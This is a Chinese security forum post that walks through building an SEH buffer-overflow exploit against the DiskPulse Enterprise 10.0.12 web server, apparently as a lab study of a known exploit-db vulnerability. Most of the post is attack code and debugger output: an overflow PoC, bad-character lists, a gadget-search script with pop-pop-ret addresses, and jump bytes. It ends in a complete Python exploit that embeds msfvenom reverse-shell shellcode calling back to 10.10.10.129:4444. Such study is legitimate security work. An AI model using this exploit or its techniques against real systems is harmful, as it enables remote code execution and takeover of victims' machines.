首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
二进制漏洞
发新帖
2
2
[原创] SEH 溢出调试分析记录-Diskpls
发表于: 2025-12-20 14:37
17381
[原创] SEH 溢出调试分析记录-Diskpls
Cypher.M
3
2025-12-20 14:37
17381
# SEH 溢出调试分析记录-Diskpls ## 1.Fuzz测试 漏洞程序`diskpulseent_setup_v10.0.12` `exploit-db` 链接 : <mark class="encrypted">735K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2W2P5s2m8D9L8$3W2@1i4K6u0V1k6r3u0Q4x3X3g2U0L8$3#2Q4x3V1k6W2P5s2m8D9L8$3W2@1M7#2)9J5c8U0b7J5y4K6M7^5</mark> 正常安装以后开启`80`端口的`Web`服务  先来写一个基础的`Poc` ```python #!/usr/bin/python import socket, sys host = sys.argv[1] port = 80 def send_exploit_request(): buffer = "\x41" * 6000 #HTTP Request request = "GET /" + buffer + "HTTP/1.1" + "\r\n" request += "Host: " + host + "\r\n" request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n" request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n" request += "Accept-Language: en-US,en;q=0.5" + "\r\n" request += "Accept-Encoding: gzip, deflate" + "\r\n" request += "Connection: keep-alive" + "\r\n\r\n" request = request.encode() # 注意这里有个很大的坑,会在PPR的部分解释清楚这个 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) s.close() if __name__ == "__main__": send_exploit_request() ``` 加载到`windbg`当中,这里情况要简单的多,只有一个`SEH`结构,只需要关心这个部分即可。  ## 2.定位溢出位置 这里如果使用`msf`生成的字符串会有个问题 ```python buffer = b'Aa0Aa1Aa' # msf-pattern_create -l 6000 ``` 在`windbg`查看这个部分,会发现完全找不到我们想要的字符串,这看起来像是溢出+坏字符一起引发的崩溃。  考虑使用二分法,修改代码 ```python buffer = '\x41'* 3000 + '\x42' * 3000 ``` 查看`windbg`,溢出的位置在前面的3000个`A`的部分。  再次分一次,来确认一下位置。 ```python buffer = '\x41'* 1500 + '\x42' * 4500 ``` 加载`windbg`  此时就能够比较清晰的查看到,想要溢出覆盖到`SE Handler`的距离还差大概`999 + 4`字节 简单分析一下 `01c1fb5c`这里全是 A。说明到这里为止,还是1500 个 A 的部分,我们知道内存是小端序显示的,所以接下来的`42424241`实际上是`41` `42` `42` `42`,这就是为什么以`01c1fb5c+5`来计算 我们知道SEH这种结构体,`SE Handler`之前4个字节是`Next SEH` 所以实际上我们需要修改代码为: ```python Next_Seh = '\x42' * 4 SE_Handler = '\x43' * 4 buffer = '\x41'* 2495 + Next_Seh + SE_Handler buffer += '\x44' * (size - len(buffer)) ``` 加载到`windbg`,从输出当中可以看到一切都符合预期。  分析这个输出 ``` 01c5ff44 42424242 43434343 44444444 44444444 ^ ^ ^ | | | | | Shellcode位置 (buffer尾部) | | | SE Handler (PPR地址位置) -> 偏移 2499 | Next SEH (JMP Short位置) -> 偏移 2495 ``` ## 3.坏字符检测 如果直接用常规方式进行坏字符检测, ``` badchars = '\x01.....' # ..... buffer += badchars ``` 会观察到如下现象  这样的输出完全无法得知坏字符,所以这里的检测还是要用二分法。简单来说就是把`badchars`写成这样 ```python badchars = ( '\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c' '\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18' '\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24' '\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30' '\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c' '\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48' '\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54' '\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60' '\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c' # '\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78' # '\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84' # '\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90' # '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c' # '\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8' # '\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4' # '\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0' # '\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc' # '\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8' # '\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4' # '\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0' # '\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc' # '\xfd\xfe\xff' ) Next_Seh = '\x42' * 4 SE_Handler = '\x43' * 4 buffer = '\x41'* 2495 + Next_Seh + SE_Handler # \x00 \x01 buffer += badchars buffer += '\x44' * (size - len(buffer)) ``` 简单来说就是先注释一半,然后这样慢慢定位存在坏字符的部分,然后再逐个检测。 细致一点可以逐行注释,只要遇到下列情况,说明当前行存在坏字符,就可以逐字符排查了。  可以针对单行进行二分法分割检测 ``` '\x01\x02\x03\x04\x05'#\x06\x07\x08\x09\x0a\x0b\x0c' ``` 查看`windbg`,这样说明`\x01 - \x05`没有问题然后再对剩下的部分逐个测试  直到我们测试出第一个坏字符`\x09`, ``` '\x01\x02\x03\x04\x05\x06\x07\x08\x09'#\x0a\x0b\x0c' ``` `windbg`显示如下:  当我们删除`\x09` ``` '\x01\x02\x03\x04\x05\x06\x07\x08'#\x0a\x0b\x0c' ``` 查看`windbg`,会发现显示符合预期  重复这个过程直到找到所有坏字符,这个过程所需的时间非常多,因为基本上都需要逐个检测 ``` \x00 \x0a \x09 \x0d \x20 ``` 这里会注意到一个问题,观察`windbg`的输出,可以看出这段缓冲区完全放不下`badchars`,这里就需要留意一下,如果连`badchars`都放不下,那就更加不可能放得下`shellcode`,至于`badchars`的解决方案,还是二分法注释,只需要把后面的部分给发送出来即可 同时这里要注意一个点,当使用`.encode()`来处理数据的时候,坏字符的部分,测试后半部分的坏字符,当坏字符大于`\x7f`时,查看`windbg`会发现,多出了一些莫名其妙的字节 ``` badchars = ( # '\x01\x02\x03\x04\x05\x06\x07\x08\x0b\x0c' # '\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18' # '\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21\x22\x23\x24' # '\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30' # '\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c' # '\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48' # '\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54' # '\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60' # '\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c' '\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78' '\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84' '\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90' '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c' '\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8' '\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4' '\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0' '\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc' '\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8' '\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4' '\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0' '\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc' '\xfd\xfe\xff' ) ``` `windbg`输出,可以看到虽然没有崩溃,但是`\x7f`之后本应该是`\x80`但是,现在这里补了一个`C2`,这一点要尤其注意。  如果常规情况遇到这个情况,原因是在 HTTP 协议处理中,当程序接收到大于 127 (`0x7F`) 的扩展 ASCII 字符时,它会再次进行了 UTF-8 编码转换。 比如在 UTF-8 中,`\x90` 会被编码为双字节序列 `\xC2\x90`。这个叫做**Character Encoding Expansion (字符编码膨胀)** **注意:这里有个很大的坑,会在PPR指令查找的部分填坑** 这就是为什么内存里会平白无故多了一个 `\xC2`。  ## 4.PPR指令查找 这个部分在之前的文章当中有完整的提到过,所以不在这里赘述,还是一样,使用`narly`,以及`wds`脚本 ``` .block { .for (r $t0 = 0x58; $t0 < 0x5F; r $t0 = $t0 + 0x01) { .for (r $t1 = 0x58; $t1 < 0x5F; r $t1 = $t1 + 0x01) { s-[1]b 10000000 100d4000 $t0 $t1 c3 } } } ``` 查看`!nmod`输出,和之前的一样,并且我推测大概率存在相同的`dll`地址竞争的问题  运行查找脚本,这里为了保险起见,最好在`10000000`这个起始地址被`libspp`占用时,在执行一边这个操作,查找另外一个`PPR`指令  注意DLL地址竞争   需要找到两个DLL当中的PPR指令地址,并且这个地址要求,首先不能包含坏字符,其次地址尽量不要包含比`\x7f`大的部分 ```python Next_Seh = '\x42' * 4 SE_Handler = '\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;ret # SE_Handler = '\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;ret buffer = '\x41'* 2495 + Next_Seh + SE_Handler # buffer += badchars buffer += '\x44' * (size - len(buffer)) ``` 加载到`windbg`,完全符合预期  **字符膨胀原因解释** 多次排查以后,发现代码当中存在的问题,`Python 3` 的 `Unicode `机制,我使用`encode()`来处理字符转换,所以会产生字符膨胀的问题,修改代码,直接用`bytes`这种方式就可以轻松避免这个问题 -_- ```python Next_Seh = b'\xeb\x04' # jmp short 0x6 SE_Handler = b'\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;ret # SE_Handler = '\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;ret buffer = b'\x41'* 2495 + Next_Seh + SE_Handler # buffer += badchars buffer += b'\x44' * (size - len(buffer)) #HTTP Request request = b"GET /" + buffer + b"HTTP/1.1" + b"\r\n" request += b"Host: " + host.encode() + b"\r\n" request += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + b"\r\n" request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + b"\r\n" request += b"Accept-Language: en-US,en;q=0.5" + b"\r\n" request += b"Accept-Encoding: gzip, deflate" + b"\r\n" request += b"Connection: keep-alive" + b"\r\n\r\n" ``` ## 5.空间问题 接着,需要解决空间问题,这里不需要计算的多么精细,甚至肉眼可见的放不下一段完整的`shellcode`。 ``` 0:015> dd 01e4ff44 L30 01e4ff44 42424242 100b1a1c 44444444 44444444 ...... 01e4fff4 44444444 44444444 44444444 ???????? 0:015> ? 01e4fff4 - 01e4ff44 Evaluate expression: 176 = 000000b0 ``` 但是,别忘了,我们用于填充的部分,是有`2495`个`A`的。另外需要注意的就是,在这个程序当中,溢出发生在`SE Handler`上下文的部分,而非`esp`附近,所以我们的逻辑如下: ``` PPR -> Next SEH -> jmp short 0x8 -> nop -> jmp shellcode ``` 使用负数的思路回跳 ``` 0:001> ? 0xffffffff - 0n495 Evaluate expression: -496 = fffffe10 ``` 之后使用`jmp 0xfffffe10`让执行流回到开头A的部分当中的shellcode部分 ```python Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8 # SE_Handler = b'\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;ret SE_Handler = b'\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;ret shellcode = b'\x90' * 20 # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x09\x0d\x20' shellcode += b"\xba\x2b\xf9\xa4\x37\xdb\xcd\xd9\x74\x24\xf4" ...... shellcode += b'\x90' * (495 - len(shellcode)) jmp_esp = b'\xE9\x0B\xFE\xFF\xFF' # E90BFEFFFF buffer = b'\x41'* 2000 + shellcode + Next_Seh + SE_Handler + jmp_esp # buffer += badchars buffer += b'\x90' * (size - len(buffer)) ``` ## 6.Get Shell 最终代码 ```python #!/usr/bin/python import socket, sys host = sys.argv[1] port = 80 size = 6000 def send_exploit_request(): # \x00 \x0a \x09 \x0d \x20 Next_Seh = b'\xeb\x06\x90\x90' # jmp short 0x8 # SE_Handler = b'\x1c\x1a\x0b\x10' # 0x100b1a1c libspp!SCA_ProcessOp::~SCA_ProcessOp+0x3c: pop esi;pop ebx;ret SE_Handler = b'\x59\x12\x02\x10' # 0x10021259 libpal!SCA_GetTopDirName+0x39: pop ebx; pop ecx;ret shellcode = b'\x90' * 20 # msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.129 lport=4444 -f python -v shellcode -e x86/shikata_ga_nai -b '\x00\x0a\x09\x0d\x20' shellcode += b"\xba\x2b\xf9\xa4\x37\xdb\xcd\xd9\x74\x24\xf4" ...... shellcode += b'\x90' * (495 - len(shellcode)) jmp_esp = b'\xE9\x0B\xFE\xFF\xFF' # E90BFEFFFF jmp 0xfffffe10 buffer = b'\x41'* 2000 + shellcode + Next_Seh + SE_Handler + jmp_esp # buffer += badchars buffer += b'\x90' * (size - len(buffer)) #HTTP Request request = b"GET /" + buffer + b"HTTP/1.1" + b"\r\n" request += b"Host: " + host.encode() + b"\r\n" request += b"User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + b"\r\n" request += b"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + b"\r\n" request += b"Accept-Language: en-US,en;q=0.5" + b"\r\n" request += b"Accept-Encoding: gzip, deflate" + b"\r\n" request += b"Connection: keep-alive" + b"\r\n\r\n" # request = request.encode() s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host,port)) s.send(request) s.close() if __name__ == "__main__": send_exploit_request() ``` 
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
2025-12-20 14:38 被Cypher.M编辑 ,原因:
#漏洞分析
#漏洞利用
#缓冲区溢出
#Fuzz
#Windows
收藏
・
2
点赞
・
2
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
为你点赞!
2026-7-16 06:51
Y6blNU1L
期待更多优质内容的分享,论坛有你更精彩!
2025-12-23 16:02
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
1
)
artake
雪 币:
13
活跃值:
(2701)
能力值:
( LV4,RANK:40 )
在线值:
发帖
13
回帖
187
粉丝
1
关注
私信
artake
2
楼
看到这篇文章,怀念xp时代的winows,那是一个黑客最巅峰的时代。
2025-12-23 09:22
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
Cypher.M
3
8
发帖
2
回帖
160
RANK
关注
私信
他的文章
[原创] exploit-db exp 优化SEH Egghunter
13498
[原创] Egg Hunter 技术详解
22724
[原创] ***RCE分析记录
29415
[原创] Windows SEH 溢出漏洞分析记录 - KNet
14661
[原创] SEH 溢出调试分析记录-Diskpls
17381
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部